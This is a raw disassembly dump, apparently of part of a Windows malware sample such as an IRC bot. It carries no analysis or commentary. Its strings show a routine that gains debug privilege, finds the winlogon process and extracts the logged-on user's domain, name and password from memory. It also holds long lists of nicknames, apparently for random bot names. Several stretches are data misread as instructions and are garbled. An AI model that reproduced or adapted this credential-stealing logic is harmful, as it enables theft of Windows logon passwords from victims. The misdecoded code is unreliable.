		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_437964	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_437990	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_4379C8	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_437A24	dd offset byte_530055	; DATA XREF: sub_416F1A+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset loc_4E0047+2
		dd 0
off_437A3C	dd offset byte_530055	; DATA XREF: sub_416F1A+CEo
		dd offset byte_520045
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1A+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
					; sub_416F1A+161o ...
		align 10h
unk_437B00	db  2Dh	; -		; DATA XREF: sub_416F1A+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 10h
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170EC+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170EC+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170EC+AFo
		align 4
dword_437B4C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417552+70o
					; sub_4175E9+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437B9C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175E9+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_437BF0	dd offset aQ		; DATA XREF: sub_417ADD+5Cr
					; "q"
; ---------------------------------------------------------------------------
		mov	al, ds:38004387h
		lodsb
		inc	edx
		add	[ebx+eax*8], al
		inc	edx
		add	[eax-3Eh], bh
		inc	edx
		add	[edi+eax*4-5587FFBDh], bl
		inc	edx
		add	ah, dl
		retn	42h
; ---------------------------------------------------------------------------
		push	esp
		stosb
		inc	edx
		add	ah, dl
		lodsb
		inc	edx
		add	ah, bl
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aD		; "d"
		dd offset dword_438798
		dd offset dword_438794
		dd offset dword_438790
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_43878C
		dd offset dword_438788
		dd offset dword_438784
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_438780
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_43877C
		dd offset dword_438778
		dd offset dword_438774
		dd offset dword_438770
		dd offset dword_43876C
		dd offset word_438768
		dd offset dword_438764
		dd offset aI_0		; "I"
		dd offset dword_438760
		dd offset dword_43875C
		dd offset aA_0		; "A"
		dd offset dword_438758
		dd offset dword_438754
		dd offset dword_438750
		dd offset dword_43874C
		dd offset dword_438748
		dd offset dword_438744
		dd offset dword_438740
		dd offset dword_43873C
		dd offset dword_438738
		dd offset dword_438734
		dd offset dword_438730
		dd offset dword_43872C
		dd offset dword_438728
		dd offset word_438724
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary		; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_4384BC
		dd offset off_4384B8
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438324
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_437EF0	dd offset aSex_0	; DATA XREF: sub_417ADD+41r
					; sub_417ADD+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex		; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438780
		dd offset aC		; "c"
		dd offset aD		; "d"
		db  38h	; 8
		db 0ACh	; ╛
		db  42h	; B
		db    0
		db  98h	; ≤
		db  87h	; ┤
		db  43h	; C
		db    0
		db  94h	; ■
		db  87h	; ┤
		db  43h	; C
		db    0
		db  90h	; ░
		db  87h	; ┤
		db  43h	; C
		db    0
		db 0D4h	; т
		db 0C2h	; б
		db  42h	; B
		db    0
; ---------------------------------------------------------------------------
		cld
		mov	ah, 42h
		add	[ebx+esi*4+42h], al
		add	[eax-39h], bl
		inc	edx
		add	[edi+eax*4-533BFFBDh], cl
		inc	edx
		add	[eax-4Dh], cl
		inc	edx
		add	al, bh
		mov	dl, 42h
		add	[edx+ebp*4+42h], dl
		add	al, ch
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
; ---------------------------------------------------------------------------
		mov	al, ds:84004387h
		xchg	eax, [ebx+0]
		pushf
		xchg	eax, [ebx+0]
		mov	[edi-7E83FFBDh], al
		inc	ebx
		add	[eax-7Fh], bh
		inc	ebx
		add	[ecx+eax*4+43h], dh
		add	[eax-7Fh], dh
		inc	ebx
		add	[ecx+eax*4+43h], ch
		add	[eax-7Fh], ch
		inc	ebx
		add	[ecx+eax*4+43h], ah
		add	[ecx+eax*4+43h], bl
		add	[ecx+eax*4+43h], dl
		add	[ecx+eax*4+43h], cl
		add	[ecx+eax*4+43h], al
		add	[eax-6BFFBC79h], cl
		xchg	eax, [ebx+0]
		fadd	st(2), st
		inc	edx
		add	al, ch
		retn	42h
; ---------------------------------------------------------------------------
		dd offset off_438140
		dd offset aBbl		; "|bbl"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset a___0		; "_|_"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_438750
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438780
		dd offset dword_43D128
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset aFuck		; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_438734
		dd offset dword_43D128
		dd offset off_438100
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4380C0
		dd offset dword_4380BC
		dd offset dword_4380B4
		dd offset dword_4380A8
		dd offset dword_4380A0
		dd offset dword_438098
		dd offset dword_438090
		dd offset dword_43808C
		dd offset dword_438088
dword_438088	dd 7536h		; DATA XREF: ___:00438084o
dword_43808C	dd 7535h		; DATA XREF: ___:00438080o
dword_438090	dd 7C75347Ch, 0		; DATA XREF: ___:0043807Co
dword_438098	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438078o
dword_4380A0	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438074o
dword_4380A8	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438070o
dword_4380B4	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:0043806Co
dword_4380BC	dd 6C6F6Ch		; DATA XREF: ___:00438068o
dword_4380C0	dd 746F74h		; DATA XREF: ___:00438064o
aMofo		db 'mofo',0             ; DATA XREF: ___:00438060o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:0043805Co
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438058o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438054o
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438050o
aShit		db 'shit',0             ; DATA XREF: ___:0043804Co
		align 10h
aGurl		db 'gurl',0             ; DATA XREF: ___:00438048o
		align 4
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438044o
		align 10h
off_438100	dd offset word_594F42	; DATA XREF: ___:00438040o
aFree		db 'Free',0             ; DATA XREF: ___:0043802Co
		align 4
aFuck		db 'Fuck',0             ; DATA XREF: ___:00438028o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:0043801Co
		align 10h
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438010o
		align 4
aSad		db 'Sad',0              ; DATA XREF: ___:0043800Co
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438008o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00437FECo
aBbl		db '|bbl',0             ; DATA XREF: ___:00437FE0o
		align 10h
off_438140	dd offset loc_425242	; DATA XREF: ___:00437FDCo
aMuckc		db 'muckc',0
		align 4
aTruck		db 'truck',0
		align 4
aTrimy		db 'trimy',0
		align 4
aLuvy		db 'luvy',0
		align 4
aUi		db 'ui',0
		align 4
aSdf		db 'sdf',0
aRt		db 'rt',0
		align 10h
aGf		db 'gf',0
		align 4
aTy		db 'ty',0
		align 4
aRg		db 'rg',0
		align 4
aHappy		db 'happy',0
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00437F80o
		align 4
aQ8A		db '|q8|a',0            ; DATA XREF: ___:00437F38o
		align 10h
aQ8		db 'Q8',0               ; DATA XREF: ___:00437F34o
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:00437F30o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: ___:00437F2Co
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:00437F28o
		align 10h
aGens		db '{gens|',0           ; DATA XREF: ___:00437F24o
		align 4
aSex		db '{sex}',0            ; DATA XREF: ___:00437F20o
		align 10h
aHub		db '{hub}',0            ; DATA XREF: ___:00437F1Co
		align 4
aLuck		db '|luck|',0           ; DATA XREF: ___:00437F18o
		align 10h
aSuck		db '|suck|',0           ; DATA XREF: ___:00437F14o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: ___:00437F10o
		align 10h
aWoh		db '|woh|',0            ; DATA XREF: ___:00437F0Co
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: ___:00437F08o
aLag		db 'lag',0              ; DATA XREF: ___:00437F04o
aBad		db 'bad',0              ; DATA XREF: ___:00437F00o
aTree		db 'tree',0             ; DATA XREF: ___:00437EFCo
		align 10h
aZex		db 'zex',0              ; DATA XREF: ___:00437EF8o
aLez		db 'lez',0              ; DATA XREF: ___:00437EF4o
aSex_0		db 'sex',0              ; DATA XREF: ___:off_437EF0o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00437EECo
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00437EE8o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00437EE4o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00437EE0o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00437EDCo
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00437ED8o
		align 10h
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00437ED4o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00437ED0o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00437ECCo
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00437EC8o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00437EC4o
		align 10h
aPassenger	db 'passenger',0        ; DATA XREF: ___:00437EC0o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00437EBCo
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00437EB8o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00437EB4o
aAkden		db 'akden',0            ; DATA XREF: ___:00437EB0o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:00437EACo
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00437EA8o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:00437EA4o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00437EA0o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00437E9Co
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00437E98o
		align 10h
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00437E94o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00437E90o
		align 10h
aErkan		db 'erkan',0            ; DATA XREF: ___:00437E8Co
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00437E88o
		align 10h
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00437E84o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00437E80o
		align 10h
aA44m		db 'a44m',0             ; DATA XREF: ___:00437E7Co
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00437E78o
		align 4
off_438324	dd offset byte_4B5245	; DATA XREF: ___:00437E74o
aSevda		db 'sevda',0            ; DATA XREF: ___:00437E70o
		align 10h
aKotan		db 'kotan',0            ; DATA XREF: ___:00437E6Co
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00437E68o
		align 10h
aAchilles	db 'Achilles',0         ; DATA XREF: ___:00437E64o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:00437E60o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00437E5Co
		align 10h
aHayran		db 'hayran',0           ; DATA XREF: ___:00437E58o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:00437E54o
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00437E50o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00437E4Co
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00437E48o
		align 10h
aUmut		db 'umut-',0            ; DATA XREF: ___:00437E44o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00437E40o
		align 10h
aKumul		db 'kumul',0            ; DATA XREF: ___:00437E3Co
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00437E38o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:00437E34o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00437E30o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00437E2Co
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00437E28o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:00437E24o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00437E20o
aHoly		db 'holy',0             ; DATA XREF: ___:00437E1Co
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00437E18o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:00437E14o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00437E10o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00437E0Co
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00437E08o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:00437E04o
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00437E00o
		align 10h
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00437DFCo
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00437DF8o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:00437DF4o
aArda		db 'arda',0             ; DATA XREF: ___:00437DF0o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:00437DECo
		align 10h
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00437DE8o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:00437DE4o
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00437DE0o
		align 10h
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00437DDCo
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:00437DD8o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:00437DD4o
		align 10h
aAnkh		db 'ankh',0             ; DATA XREF: ___:00437DD0o
		align 4
off_4384B8	dd offset byte_457441	; DATA XREF: ___:00437DCCo
dword_4384BC	dd 414C5941h, 2Dh	; DATA XREF: ___:00437DC8o
aAlbina		db 'albina',0           ; DATA XREF: ___:00437DC4o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00437DC0o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00437DBCo
		align 10h
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00437DB8o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:00437DB4o
		align 10h
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00437DB0o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00437DACo
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00437DA8o
		align 10h
aRetg		db 'RETG',0             ; DATA XREF: ___:00437DA4o
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00437DA0o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00437D9Co
aAslii		db 'aslii',0            ; DATA XREF: ___:00437D98o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:00437D94o
aHaticem	db 'haticem',0          ; DATA XREF: ___:00437D90o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00437D8Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00437D88o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:00437D84o
		align 10h
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00437D80o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: ___:00437D7Co
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00437D78o
		align 10h
aTrend3		db 'trend3',0           ; DATA XREF: ___:00437D74o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00437D70o
		align 10h
aAkin		db 'AKIN',0             ; DATA XREF: ___:00437D6Co
		align 4
aMary		db 'MARY',0             ; DATA XREF: ___:00437D68o
		align 10h
aJericho	db 'JERICHO',0          ; DATA XREF: ___:00437D64o
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00437D60o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00437D5Co
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: ___:00437D58o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:00437D54o
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00437D50o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00437D4Co
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00437D48o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:00437D44o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00437D40o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00437D3Co
		align 10h
aKencing	db 'Kencing',0          ; DATA XREF: ___:00437D38o
aReshma		db 'reshma',0           ; DATA XREF: ___:00437D34o
		align 10h
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00437D30o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:00437D2Co
		align 10h
aImra		db 'imra',0             ; DATA XREF: ___:00437D28o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:00437D24o
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00437D20o
		align 10h
aKermit		db 'kermit',0           ; DATA XREF: ___:00437D1Co
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00437D18o
		align 10h
aTroller	db 'troller',0          ; DATA XREF: ___:00437D14o
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00437D10o
		align 10h
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00437D0Co
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00437D08o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:00437D04o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: ___:00437D00o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00437CFCo
		align 4
aCme		db 'cme',0              ; DATA XREF: ___:00437CF8o
aMarcy		db 'marcy',0            ; DATA XREF: ___:00437CF4o
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00437CF0o
		align 10h
aShez		db 'Shez',0             ; DATA XREF: ___:00437CECo
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00437CE8o
aFlexster	db 'flexster',0         ; DATA XREF: ___:00437CE4o
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00437CE0o
		align 10h
aMale		db 'male',0             ; DATA XREF: ___:00437CDCo
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00437CD8o
		align 10h
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:00437CD4o
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00437CD0o
		align 10h
aEmilya		db 'emilya',0           ; DATA XREF: ___:00437CCCo
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00437CC8o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:00437CC4o
aFarooq		db 'farooq',0           ; DATA XREF: ___:00437CC0o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00437CBCo
		align 10h
aM_0:					; DATA XREF: ___:00437CB8o
					; ___:00438004o
		unicode	0, <M>,0
word_438724	dw 4Eh			; DATA XREF: sub_419E79+38r
					; ___:00437CB4o
		align 4
dword_438728	dd 42h			; DATA XREF: ___:00437CB0o
dword_43872C	dd 56h			; DATA XREF: ___:00437CACo
